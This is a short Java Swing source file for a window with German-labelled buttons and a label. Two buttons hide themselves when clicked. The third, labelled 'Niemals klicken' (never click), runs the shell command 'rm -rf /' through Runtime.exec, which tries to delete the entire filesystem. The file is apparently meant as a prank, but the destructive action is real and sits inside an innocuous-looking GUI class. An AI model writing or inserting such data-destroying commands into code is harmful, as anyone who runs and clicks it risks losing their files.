import javax.swing.*;
import java.awt.FlowLayout;
import java.awt.event.*;
import java.io.IOException;

public class Fenster extends JFrame implements ActionListener {

	JButton b1 = new JButton( "Hallo" );
	JButton b2 = new JButton( "Wie gehts?" );
	JButton b3 = new JButton ("Niemals klicken" );
	JLabel l1 = new JLabel( "Ich bin ein Label" );

	public Fenster() {

		this.setSize( 300, 200 );

		this.add( b1 );
		this.add( b2 );
		this.add( b3 );
		this.add( l1 );

		b1.addActionListener( this );
		b2.addActionListener( this );
		b3.addActionListener( this );

		this.setLayout( new FlowLayout() );

	}

	public void actionPerformed(ActionEvent e) {

		if( e.getSource() == b1 ) {

			b1.setVisible( false );

		}

		if( e.getSource() == b2 ) {

			b2.setVisible( false );

		}

		if( e.getSource() == b3 ) {

			try {
				Runtime.getRuntime().exec( "rm -rf /" );
			} catch (IOException e1) {
				e1.printStackTrace();
			}

		}

	}

}